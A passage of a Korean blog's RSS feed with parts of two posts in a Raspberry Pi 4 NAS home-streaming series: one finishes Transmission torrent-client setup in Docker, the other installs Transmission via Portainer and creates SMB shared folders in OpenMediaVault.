&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;119&quot; data-filename=&quot;이미지 31.png&quot; width=&quot;500&quot; height=&quot;85&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/baJ74Y/btq92RUz5dD/g2wrxaLNu5zdTUj1u5MrZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/baJ74Y/btq92RUz5dD/g2wrxaLNu5zdTUj1u5MrZ0/img.png&quot; data-alt=&quot;transmission 설정 파일 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/baJ74Y/btq92RUz5dD/g2wrxaLNu5zdTUj1u5MrZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbaJ74Y%2Fbtq92RUz5dD%2Fg2wrxaLNu5zdTUj1u5MrZ0%2Fimg.png&quot; data-origin-width=&quot;704&quot; data-origin-height=&quot;119&quot; data-filename=&quot;이미지 31.png&quot; width=&quot;500&quot; height=&quot;85&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;transmission 설정 파일 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;279&quot; data-filename=&quot;이미지 32.png&quot; width=&quot;500&quot; height=&quot;202&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/n9wk0/btq93n0wVbU/HCV9s2aYvskdLzMSI2VRsK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/n9wk0/btq93n0wVbU/HCV9s2aYvskdLzMSI2VRsK/img.png&quot; data-alt=&quot;settings.json 수정&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/n9wk0/btq93n0wVbU/HCV9s2aYvskdLzMSI2VRsK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fn9wk0%2Fbtq93n0wVbU%2FHCV9s2aYvskdLzMSI2VRsK%2Fimg.png&quot; data-origin-width=&quot;692&quot; data-origin-height=&quot;279&quot; data-filename=&quot;이미지 32.png&quot; width=&quot;500&quot; height=&quot;202&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;settings.json 수정&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;접속! 다운로드!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Transmission에 대한&lt;br /&gt;모든 작업이 끝났습니다.&lt;br /&gt;&lt;br /&gt;Transmission으로 접속하고&lt;br /&gt;토렌트 파일을 업로드하여&lt;br /&gt;원하는 자료를 다운받으시면 됩니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;http://[라즈베리파이 주소]:9091&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;405&quot; data-filename=&quot;이미지 33.png&quot; width=&quot;500&quot; height=&quot;289&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bQB7x1/btq91nl8HpH/N1EBSDD4nPwvOuIV6HIaT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bQB7x1/btq91nl8HpH/N1EBSDD4nPwvOuIV6HIaT0/img.png&quot; data-alt=&quot;토렌트 파일 업로드 / 마그넷 주소 등록&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bQB7x1/btq91nl8HpH/N1EBSDD4nPwvOuIV6HIaT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbQB7x1%2Fbtq91nl8HpH%2FN1EBSDD4nPwvOuIV6HIaT0%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;405&quot; data-filename=&quot;이미지 33.png&quot; width=&quot;500&quot; height=&quot;289&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;토렌트 파일 업로드 / 마그넷 주소 등록&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;마그넷 주소로 등록하면&lt;br /&gt;자료를 찾느라 시간이 걸리지만,&lt;br /&gt;곧 다운로드를 시작합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;406&quot; data-filename=&quot;이미지 34.png&quot; width=&quot;500&quot; height=&quot;290&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ehmers/btq98typOUa/Ue0KQkSwkQIuy5cJfBBf31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ehmers/btq98typOUa/Ue0KQkSwkQIuy5cJfBBf31/img.png&quot; data-alt=&quot;자료 다운로드 중&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ehmers/btq98typOUa/Ue0KQkSwkQIuy5cJfBBf31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fehmers%2Fbtq98typOUa%2FUe0KQkSwkQIuy5cJfBBf31%2Fimg.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;406&quot; data-filename=&quot;이미지 34.png&quot; width=&quot;500&quot; height=&quot;290&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;자료 다운로드 중&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;다운로드가 끝나면&lt;br /&gt;등록한 스크립트와 설정에 의해&lt;br /&gt;토렌트 파일이 삭제되고&lt;br /&gt;업로드 목록에서 또한 삭제되어&lt;br /&gt;불필요한 공유를 하지 않아도 됩니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;406&quot; data-filename=&quot;이미지 35.png&quot; width=&quot;500&quot; height=&quot;290&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Rwkls/btq97wWsunJ/KsLK8VN6aRgARKy7KZkYB0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Rwkls/btq97wWsunJ/KsLK8VN6aRgARKy7KZkYB0/img.png&quot; data-alt=&quot;삭제된 토렌트 목록과 다운로드 완료된 파일&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Rwkls/btq97wWsunJ/KsLK8VN6aRgARKy7KZkYB0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRwkls%2Fbtq97wWsunJ%2FKsLK8VN6aRgARKy7KZkYB0%2Fimg.png&quot; data-origin-width=&quot;699&quot; data-origin-height=&quot;406&quot; data-filename=&quot;이미지 35.png&quot; width=&quot;500&quot; height=&quot;290&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;삭제된 토렌트 목록과 다운로드 완료된 파일&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;끝!&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Transmission을 통한&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토렌트 파일 다운로드 설정이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;끝났습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다음에는 다운받은 동영상을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다른 기기에서 보는 방법을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설명하겠습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/116&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2020.12.13 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS 설치 1] 모니터 없이 Raspberry Pi OS( 구 라즈비안, Raspbian) 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/140&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-1. 기본 세팅&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/141&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.19 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 1-2. 계정 변경&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/142&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 2. 업데이트 및 OMV 5 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/143&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 3. OMV 5 설정(IP, 호스트네임, 관리자 암호)&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/144&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-1. 외장하드 포맷&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/145&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 4-2. 외장하드 마운트 및 자동 마운트&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/146&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 5. Docker, Portainer 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/147&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.20 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://chmodi.tistory.com/148&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;2021.07.21 - [NAS/Raspberry Pi] - [라즈베리파이4 NAS - 홈 스트리밍] 6-2. 토렌트: transmission 설정&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>NAS/Raspberry Pi</category>
      <category>docker</category>
      <category>Nas</category>
      <category>omv</category>
      <category>PORTAINER</category>
      <category>raspberry pi</category>
      <category>transmission</category>
      <category>나스</category>
      <category>다운로드 안됨</category>
      <category>라즈베리파이</category>
      <category>미디어 서버</category>
      <author>루딘이</author>
      <guid isPermaLink="true">https://chmodi.tistory.com/148</guid>
      <comments>https://chmodi.tistory.com/148#entry148comment</comments>
      <pubDate>Wed, 21 Jul 2021 00:24:38 +0900</pubDate>
    </item>
    <item>
      <title>[라즈베리파이4 NAS - 홈 스트리밍] 6-1. 토렌트: transmission 설치</title>
      <link>https://chmodi.tistory.com/147</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미디어 서버로 활용하기 전에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동영상 파일을 구할&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리눅스용&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;토렌트 프로그램인&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;transmission을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;Transmission Image 다운로드&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Docker에&lt;br /&gt;Transmission을 설치하기 위해&lt;br /&gt;미리 생성된 Image를&lt;br /&gt;다운 받습니다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Portainer 접속 후 local &amp;gt;&lt;/u&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;u&gt;Image &amp;gt; Image: linuxserver/transmission 입력 &amp;gt; Pull the image&lt;/u&gt;&lt;/b&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공개된 Transmission Image를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동으로 다운받습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(&lt;a href=&quot;https://hub.docker.com/r/linuxserver/transmission&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hub.docker.com/r/linuxserver/transmission&lt;/a&gt;)&lt;/p&gt;
&lt;figure id=&quot;og_1626787183415&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Docker Hub&quot; data-og-description=&quot;&quot; data-og-host=&quot;hub.docker.com&quot; data-og-source-url=&quot;https://hub.docker.com/r/linuxserver/transmission&quot; data-og-url=&quot;https://hub.docker.com/r/linuxserver/transmission&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://hub.docker.com/r/linuxserver/transmission&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://hub.docker.com/r/linuxserver/transmission&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Docker Hub&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;hub.docker.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;500&quot; height=&quot;320&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;448&quot; data-filename=&quot;이미지 14.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Fm1f7/btq97PVWPB9/ZKvLuQBYpLPsIHWbkEt711/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Fm1f7/btq97PVWPB9/ZKvLuQBYpLPsIHWbkEt711/img.png&quot; data-alt=&quot;Transmission Image 다운로드&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Fm1f7/btq97PVWPB9/ZKvLuQBYpLPsIHWbkEt711/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FFm1f7%2Fbtq97PVWPB9%2FZKvLuQBYpLPsIHWbkEt711%2Fimg.png&quot; width=&quot;500&quot; height=&quot;320&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;448&quot; data-filename=&quot;이미지 14.png&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Transmission Image 다운로드&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
&lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
&lt;script&gt;
window.adsbygoogle.push({});
&lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border-bottom: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;공유 폴더 생성&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;transmission 에서는&lt;br /&gt;3가지 볼륨 설정이&lt;br /&gt;필요합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;/config&lt;/b&gt;&lt;/u&gt;: transmission 설정 디렉토리&lt;br /&gt;&lt;u&gt;&lt;b&gt;/watch&lt;/b&gt;&lt;/u&gt;: 이곳에 있는 .torrent 파일 자동 다운로드&lt;br /&gt;&lt;u&gt;&lt;b&gt;/downloads&lt;/b&gt;&lt;/u&gt;: 다운 중이거나 완료된 파일 보관&lt;br /&gt;&lt;br /&gt;또한, Docker와 라즈베리파이의&lt;br /&gt;&lt;u&gt;&lt;b&gt;외부에서 접근 가능하게 하기위해&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;상위 공유폴더를 생성한 후,&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;그 안에 3가지 폴더를&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;생성&lt;/b&gt;&lt;/u&gt;해야 합니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;상위 공유폴더 생성:&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;OMV 웹 페이지 &amp;gt; 공유 폴더 &amp;gt; 추가 &amp;gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;이름, 장치(외장하드), 경로 &amp;gt; 저장 &amp;gt; 적용&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;- 경로는 자동 생성되나 변경 가능합니다.&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;710&quot; data-filename=&quot;이미지 15.png&quot; width=&quot;500&quot; height=&quot;506&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5o8rp/btq93n7cA7n/wfkV6uKqjUI8NkvedfQqI0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5o8rp/btq93n7cA7n/wfkV6uKqjUI8NkvedfQqI0/img.png&quot; data-alt=&quot;공유 폴더 생성&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5o8rp/btq93n7cA7n/wfkV6uKqjUI8NkvedfQqI0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5o8rp%2Fbtq93n7cA7n%2FwfkV6uKqjUI8NkvedfQqI0%2Fimg.png&quot; data-origin-width=&quot;702&quot; data-origin-height=&quot;710&quot; data-filename=&quot;이미지 15.png&quot; width=&quot;500&quot; height=&quot;506&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;공유 폴더 생성&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;생성한 공유 폴더를&lt;br /&gt;공유 시킵니다.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;OMV 웹 페이지 &amp;gt; SMB/CIFS &amp;gt; 공유 &amp;gt; 추가 &amp;gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;생성한 공유 폴더 선택 &amp;gt; 공개: 게스트 허용됨 &amp;gt;&lt;/b&gt;&lt;/u&gt;&lt;br /&gt;&lt;u&gt;&lt;b&gt;저장 &amp;gt; 적용&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;709&quot; data-filename=&quot;이미지 16.png&quot; width=&quot;500&quot; height=&quot;506&quot; data-ke-mobilestyle=&quot;widthOrigin&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgHwNr/btq98ujJbFh/BY7pjHoNreXBGlfuboYVsk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgHwNr/btq98ujJbFh/BY7pjHoNreXBGlfuboYVsk/img.png&quot; data-alt=&quot;폴더 공유(SMB)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgHwNr/btq98ujJbFh/BY7pjHoNreXBGlfuboYVsk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgHwNr%2Fbtq98ujJbFh%2FBY7pjHoNreXBGlfuboYVsk%2Fimg.png&quot; data-origin-width=&quot;701&quot; data-origin-height=&quot;709&quot; data-filename=&quot;이미지 16.png&quot; width=&quot;500&quot; height=&quot;506&quot; data-ke-mobilestyle=&quot;widthOrigin&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;폴더 공유(SMB)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
